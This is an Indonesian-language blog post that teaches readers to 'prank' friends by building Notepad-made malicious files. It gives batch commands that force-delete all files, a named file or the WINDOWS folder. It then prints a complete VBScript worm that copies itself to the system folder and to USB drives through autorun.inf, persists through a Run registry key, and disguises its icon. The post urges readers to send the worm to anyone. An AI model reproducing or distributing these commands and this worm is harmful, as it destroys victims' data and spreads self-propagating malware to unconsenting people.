Ngutak-Ngatik Notepad

By Luqman on 05.10

Filed Under:

cuma mo share aja neh, kalo kalian punya temen yang pengen di isengin, pengen kirim virus rada susah kalo mereka sudah di protek sama 10 antivirus, tp gw g tanggung jawab efeknya ya

Menghapus Files dan Folder
1. buka notepad trus ketik DEL /F /Q *
2. save as dan simpan dengan nama test.cmd
3. kalau elo dobel klik file test.cmd maka semua files dan folder akan terhapus.



Menghapus Files Tertentu
1. buka notepad trus ketik erase C:TEST.txt
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka files TEST.txt di drive c:\ akan terhapus

Menghapus Folder Tertentu
1. buka notepad trus ketik erase C:WINDOWS
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka folder WINDOWS di drive c:\ akan terhapus

virus bikin gelap
copy paste script di bawah ini, pastenya di notepad dan simpan dengan type .vbs

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","JATIMCREW was HERE"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

nah kalo sudah jadi, tinggal kalian kirim aja ke temen kalian, ato siapapun. simpel tapi "merugikan"
hahaha, mari kita migrasi ke linux,

0 komentar for this post

Posting Komentar